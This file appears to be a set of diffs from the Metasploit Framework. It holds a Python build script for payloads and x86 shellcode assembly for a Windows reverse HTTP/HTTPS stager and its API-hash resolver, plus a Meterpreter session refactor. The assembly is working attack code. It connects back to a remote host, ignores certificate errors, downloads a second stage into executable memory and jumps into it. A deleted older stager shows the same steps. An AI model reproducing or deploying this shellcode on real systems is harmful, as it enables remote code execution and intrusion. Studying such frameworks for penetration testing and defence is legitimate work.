|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/kernel/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
else:
|
||||
build( argv[1] )
|
||||
except Exception, e:
|
||||
print "[-] ", e
|
||||
#=============================================================================#
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
# A simple python build script to build the singles/stages/stagers and
|
||||
# some usefull information such as offsets and a hex dump. The binary output
|
||||
# will be placed in the bin directory. A hex string and usefull comments will
|
||||
# be printed to screen.
|
||||
#
|
||||
# Example:
|
||||
# >python build.py stager_reverse_tcp_nx
|
||||
#
|
||||
# Example, to build everything:
|
||||
# >python build.py all > build_output.txt
|
||||
#
|
||||
# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
#=============================================================================#
|
||||
import os, sys, time
|
||||
from subprocess import Popen
|
||||
from struct import pack
|
||||
#=============================================================================#
|
||||
def clean( dir="./bin/" ):
|
||||
for root, dirs, files in os.walk( dir ):
|
||||
for name in files:
|
||||
os.remove( os.path.join( root, name ) )
|
||||
#=============================================================================#
|
||||
def locate( src_file, dir="./src/" ):
|
||||
for root, dirs, files in os.walk( dir ):
|
||||
for name in files:
|
||||
if src_file == name:
|
||||
return root
|
||||
return None
|
||||
|
||||
#=============================================================================#
|
||||
def build( name ):
|
||||
location = locate( "%s.asm" % name )
|
||||
if location:
|
||||
input = os.path.normpath( os.path.join( location, name ) )
|
||||
output = os.path.normpath( os.path.join( "./bin/", name ) )
|
||||
p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
|
||||
p.wait()
|
||||
xmit( name )
|
||||
else:
|
||||
print "[-] Unable to locate '%s.asm' in the src directory" % name
|
||||
|
||||
#=============================================================================#
|
||||
def xmit_dump_ruby( data, length=16 ):
|
||||
dump = ""
|
||||
for i in xrange( 0, len( data ), length ):
|
||||
bytes = data[ i : i+length ]
|
||||
hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
|
||||
if i+length <= len(data):
|
||||
hex += " +"
|
||||
dump += "%s\n" % ( hex )
|
||||
print dump
|
||||
|
||||
#=============================================================================#
|
||||
def xmit_offset( data, name, value, match_offset=0 ):
|
||||
offset = data.find( value );
|
||||
if offset != -1:
|
||||
print "# %s Offset: %d" % ( name, offset + match_offset )
|
||||
|
||||
#=============================================================================#
|
||||
def xmit( name, dump_ruby=True ):
|
||||
bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
|
||||
f = open( bin, 'rb')
|
||||
data = f.read()
|
||||
print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
|
||||
xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
|
||||
xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
|
||||
xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
|
||||
xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
|
||||
xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
|
||||
xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
|
||||
xmit_offset( data, "RetryCounter", "\x6a\x05", 1 ) # socket retry
|
||||
xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
|
||||
xmit_offset( data, "Hostname", "https" )
|
||||
xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
|
||||
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
|
||||
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
|
||||
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
|
||||
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
|
||||
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
|
||||
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
|
||||
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
|
||||
xmit_offset( data, "XORKey", "XORK") # XOR key
|
||||
if( name.find( "egghunter" ) >= 0 ):
|
||||
null_count = data.count( "\x00" )
|
||||
if( null_count > 0 ):
|
||||
print "# Note: %d NULL bytes found." % ( null_count )
|
||||
if dump_ruby:
|
||||
xmit_dump_ruby( data )
|
||||
|
||||
#=============================================================================#
|
||||
def main( argv=None ):
|
||||
if not argv:
|
||||
argv = sys.argv
|
||||
try:
|
||||
if len( argv ) == 1:
|
||||
print "Usage: build.py [clean|all|<name>]"
|
||||
else:
|
||||
print "# Built on %s\n" % ( time.asctime( time.localtime() ) )
|
||||
if argv[1] == "clean":
|
||||
clean()
|
||||
elif argv[1] == "all":
|
||||
for root, dirs, files in os.walk( "./src/egghunter/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/migrate/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/single/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/stage/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/stager/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/kernel/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
else:
|
||||
build( argv[1] )
|
||||
except Exception, e:
|
||||
print "[-] ", e
|
||||
#=============================================================================#
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
#=============================================================================#
|
||||
|
|
|
@ -23,7 +23,7 @@ api_call:
|
|||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
|
@ -34,22 +34,25 @@ loop_modname: ;
|
|||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
loop loop_modname ; Loop until we have read enough
|
||||
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to itterate the export address table,
|
||||
; Proceed to iterate the export address table,
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
|
||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
|
||||
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||
add ecx, edx ; Add the modules base address
|
||||
push ecx ; Save the current modules EAT
|
||||
mov ebx, [ecx+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov ecx, [ecx+24] ; Get the number of function names
|
||||
; now ecx returns to its regularly scheduled counter duties
|
||||
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
|
@ -66,14 +69,15 @@ loop_funcname: ;
|
|||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searching for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
|
@ -88,10 +92,11 @@ finish:
|
|||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp short next_mod ; Process this module
|
||||
jmp short next_mod ; Process this module
|
||||
|
|
|
@ -6,6 +6,25 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
%ifdef ENABLE_SSL
|
||||
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||
;0x00800000 | ; INTERNET_FLAG_SECURE
|
||||
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||
%else
|
||||
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
%endif
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
@ -16,65 +35,74 @@ load_wininet:
|
|||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
xor ebx,ebx
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push byte 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push ebx ; DWORD dwFlags
|
||||
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp short dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor ecx, ecx
|
||||
push ecx ; DWORD_PTR dwContext (NULL)
|
||||
push ecx ; dwFlags
|
||||
push ebx ; DWORD_PTR dwContext (NULL)
|
||||
push ebx ; dwFlags
|
||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push ecx ; username
|
||||
push ebx ; password (NULL)
|
||||
push ebx ; username (NULL)
|
||||
push dword 4444 ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
jmp short dbl_get_server_host ; push pointer to HOSTNAME
|
||||
got_server_host:
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push ebx ; dwContext (NULL)
|
||||
push HTTP_OPEN_FLAGS ; dwFlags
|
||||
push ebx ; accept types
|
||||
push ebx ; referrer
|
||||
push ebx ; version
|
||||
jmp get_server_uri ; push pointer to url
|
||||
got_server_uri:
|
||||
push ebx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
|
||||
set_retry:
|
||||
push byte 0x10
|
||||
pop ebx
|
||||
pop edi
|
||||
|
||||
send_request:
|
||||
|
||||
%ifdef ENABLE_SSL
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
set_security_options:
|
||||
push 0x00003380
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
||||
mov eax, esp
|
||||
push byte 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
|
||||
%endif
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push ebx ; lpOptional length (0)
|
||||
push ebx ; lpOptional (NULL)
|
||||
push ebx ; dwHeadersLength (0)
|
||||
push ebx ; lpszHeaders (NULL)
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
|
@ -82,28 +110,30 @@ httpsendrequest:
|
|||
jnz short allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
jmp short httpsendrequest
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
; if we didn't allocate before running out of retries, fall through to
|
||||
; failure
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call got_server_uri
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
|
@ -135,7 +165,7 @@ execute_stage:
|
|||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
call internetconnect
|
||||
call got_server_host
|
||||
|
||||
server_host:
|
||||
|
||||
|
|
|
@ -1,159 +0,0 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: HD Moore
|
||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push byte 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp short dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor ecx, ecx
|
||||
push ecx ; DWORD_PTR dwContext (NULL)
|
||||
push ecx ; dwFlags
|
||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push ecx ; username
|
||||
push dword 4444 ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00800000 | ; INTERNET_FLAG_SECURE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
|
||||
set_retry:
|
||||
push byte 0x10
|
||||
pop ebx
|
||||
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
set_security_options:
|
||||
push 0x00003380
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
||||
mov eax, esp
|
||||
push byte 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
jmp short set_security_options
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
|
|
@ -1,19 +1,20 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (24 July 2009)
|
||||
; Size: 274 bytes
|
||||
; Build: >build.py stager_reverse_tcp_nx
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_reverse_https.asm"
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (24 July 2009)
|
||||
; Size: 274 bytes
|
||||
; Build: >build.py stager_reverse_tcp_nx
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%define ENABLE_SSL 1
|
||||
%include "./src/block/block_reverse_http.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
||||
|
|
|
@ -303,52 +303,20 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
|
||||
self.info = safe_info
|
||||
|
||||
# Enumerate network interfaces to detect IP
|
||||
ifaces = self.net.config.get_interfaces().flatten rescue []
|
||||
routes = self.net.config.get_routes().flatten rescue []
|
||||
shost = self.session_host
|
||||
hobj = nil
|
||||
|
||||
# Try to match our visible IP to a real interface
|
||||
# TODO: Deal with IPv6 addresses
|
||||
found = !!(ifaces.find {|i| i.addrs.find {|a| a == shost } })
|
||||
nhost = nil
|
||||
hobj = nil
|
||||
|
||||
if Rex::Socket.is_ipv4?(shost) and not found
|
||||
|
||||
# Try to find an interface with a default route
|
||||
default_routes = routes.select{ |r| r.subnet == "0.0.0.0" || r.subnet == "::" }
|
||||
default_routes.each do |r|
|
||||
ifaces.each do |i|
|
||||
bits = Rex::Socket.net2bitmask( i.netmask ) rescue 32
|
||||
rang = Rex::Socket::RangeWalker.new( "#{i.ip}/#{bits}" ) rescue nil
|
||||
if rang and rang.include?( r.gateway )
|
||||
nhost = i.ip
|
||||
break
|
||||
end
|
||||
end
|
||||
break if nhost
|
||||
end
|
||||
|
||||
# Find the first non-loopback address
|
||||
if not nhost
|
||||
iface = ifaces.select{|i| i.ip != "127.0.0.1" and i.ip != "::1" }
|
||||
if iface.length > 0
|
||||
nhost = iface.first.ip
|
||||
end
|
||||
end
|
||||
end
|
||||
nhost = find_internet_connected_address
|
||||
|
||||
original_session_host = self.session_host
|
||||
# If we found a better IP address for this session, change it up
|
||||
# only handle cases where the DB is not connected here
|
||||
if not (framework.db and framework.db.active)
|
||||
if !(framework.db && framework.db.active)
|
||||
self.session_host = nhost
|
||||
end
|
||||
|
||||
|
||||
# The rest of this requires a database, so bail if it's not
|
||||
# there
|
||||
return if not (framework.db and framework.db.active)
|
||||
return if !(framework.db && framework.db.active)
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
wspace = framework.db.find_workspace(workspace)
|
||||
|
@ -384,18 +352,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
if nhost
|
||||
framework.db.report_note({
|
||||
:type => "host.nat.server",
|
||||
:host => shost,
|
||||
:host => original_session_host,
|
||||
:workspace => wspace,
|
||||
:data => { :info => "This device is acting as a NAT gateway for #{nhost}", :client => nhost },
|
||||
:update => :unique_data
|
||||
})
|
||||
framework.db.report_host(:host => shost, :purpose => 'firewall' )
|
||||
framework.db.report_host(:host => original_session_host, :purpose => 'firewall' )
|
||||
|
||||
framework.db.report_note({
|
||||
:type => "host.nat.client",
|
||||
:host => nhost,
|
||||
:workspace => wspace,
|
||||
:data => { :info => "This device is traversing NAT gateway #{shost}", :server => shost },
|
||||
:data => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host },
|
||||
:update => :unique_data
|
||||
})
|
||||
framework.db.report_host(:host => nhost, :purpose => 'client' )
|
||||
|
@ -470,6 +438,60 @@ protected
|
|||
|
||||
attr_accessor :rstream # :nodoc:
|
||||
|
||||
# Rummage through this host's routes and interfaces looking for an
|
||||
# address that it uses to talk to the internet.
|
||||
#
|
||||
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces
|
||||
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
|
||||
# @return [String] The address from which this host reaches the
|
||||
# internet, as ASCII. e.g.: "192.168.100.156"
|
||||
def find_internet_connected_address
|
||||
|
||||
ifaces = self.net.config.get_interfaces().flatten rescue []
|
||||
routes = self.net.config.get_routes().flatten rescue []
|
||||
|
||||
# Try to match our visible IP to a real interface
|
||||
found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } })
|
||||
nhost = nil
|
||||
|
||||
# If the host has no address that matches what we see, then one of
|
||||
# us is behind NAT so we have to look harder.
|
||||
if !found
|
||||
# Grab all routes to the internet
|
||||
default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" }
|
||||
|
||||
default_routes.each do |route|
|
||||
